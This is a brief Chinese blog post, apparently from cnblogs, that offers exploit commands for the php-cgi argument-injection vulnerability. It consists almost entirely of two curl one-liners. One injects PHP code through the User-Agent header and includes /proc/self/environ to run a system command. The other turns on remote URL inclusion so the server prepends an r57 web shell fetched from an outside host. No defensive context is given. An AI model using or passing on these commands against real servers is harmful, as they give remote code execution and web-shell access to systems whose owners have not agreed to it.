php-cgi漏洞利用EXP
1、本地包含直接执行代码:
curl -H "USER-AGENT: <?system('id');die();?>" http://target.com/test.php?-dauto_prepend_file%3d/proc/self/environ+-n
2、远程包含执行代码:
curl http://target.com/test.php?-dallow_url_include%3don+-dauto_prepend_file%3dhttp://www.sh3ll.org/r57.txt
![](http://images0.cnblogs.com/blog/468024/201301/19133502-3907765745f14b548b4a02481f4fb4bd.jpg)
----------------
Lynx
The quieter you become,the more you are able to hear.